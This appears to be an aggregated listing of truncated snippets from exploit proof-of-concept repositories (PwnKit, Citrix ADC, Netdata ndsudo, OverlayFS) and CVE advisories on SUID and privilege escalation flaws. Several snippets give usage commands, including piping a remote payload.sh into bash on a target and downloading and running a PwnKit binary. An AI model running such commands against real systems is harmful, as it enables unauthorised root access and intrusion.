CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC Prueba de concepto para la lectura privilegiada de archivos a través del cliente VPN SNX de CheckPoint para Linux. Versión Afectada CheckPointVPNSNXLinux800007075.sh MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787 Exploit Para explotarlo, basta con cargar cualquie...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Exploit Usage: First : Upload fuse.c and exp.sh to the /tmp directory. You can use scp or python3 -m http.server to upload the file to the target. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp...

CVE-2023-3519

Citrix ADC 远程代码执行漏洞 CVE-2023-3519 此漏洞利用程序针对 Citrix VPX 13.1-48.47 的地址和 shellcode。完整分析文章请点击此处。 用法 需要 NASM 来构建 shellcode。 root@kitploit: $ sudo apt install nasm 包含的 shellcode 会从远程 https 服务器下载并执行一个 shell 脚本。该脚本接受 3 个参数：目标主机、目标端口以及 shell 脚本 payload 的 URL。本仓库中包含一个示例 payload，它会在运行 id 和 uname -a 后进行自我清理...

PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...

CVE-2023-3460_FIX

CVE-20233460 Questo laboratorio è stato creato per scopi di apprendimento e di escalation dei privilegi. Per esercitarti nell'escalation dei privilegi, puoi leggere ulteriori informazioni al link qui sotto...

CVE-2021-4034

CVE-2021-4034 Exploit per l'escalation dei privilegi di polkit Basta eseguire make, ./cve-2021-4034 e godersi la shell di root. L'advisory originale del mio team di Qualys qui PoC Se l'exploit funziona, otterrai subito una shell di root: root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall...

CVE-2021-4034

CVE-2021-4034 25 जनवरी 2022 | An00bRektn यह CVE-2021-4034 का एक golang कार्यान्वयन है जो पढ़ें: बेशर्मी से चुराया गया clubby789's कार्यान्वयन पर आधारित है, जो Qualys द्वारा खोजी गई भेद्यता का कार्यान्वयन है। मैंने इस भेद्यता के बारे में अधिक विस्तार से जानकारी देने वाली एक ब्लॉग पोस्ट बनाई है,...

CVE-2026-71309 vulnerabilities

Vulnerabilities for packages: telegraf, rclone-fips...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-007523)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-007523 advisory. In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is...

PT-2026-30240

Name of the Vulnerable Software and Affected Versions util-linux versions prior to 2.41.4 Description A Time-of-Check-Time-of-Use TOCTOU vulnerability exists in the SUID binary /usr/bin/mount within util-linux. When setting up loop devices, the binary validates a file path with user privileges bu...

CVE-2024-34477

configureNFS in lib/common/functions.sh in FOG through 1.5.10 allows local users to gain privileges by mounting a crafted NFS share because of norootsquash and insecure. In order to exploit the vulnerability, someone needs to mount an NFS share in order to add an executable file as root. In...

CVE-2025-12424

Azure Access Technology BLU-IC2 and BLU-IC4 are vulnerable to privilege escalation due to improper privilege management in a SUID-bit binary. Affected products/versions: BLU-IC2 and BLU-IC4 up to 1.19.5. Root cause: SUID-binary enables elevation of privileges. Impact: described as Privilege Escal...

EUVD-2021-2286

Malware in sbrugna...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

SUSE CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

Privilege Escalation

github.com/projectcalico/calico/ is vulnerable to Privilege Escalation. The vulnerability is due to an incorrect SUID bit configuration in the Calico CNI install binary, combined with the ability to control the input binary, allows an attacker to execute an arbitrary binary with elevated privileg...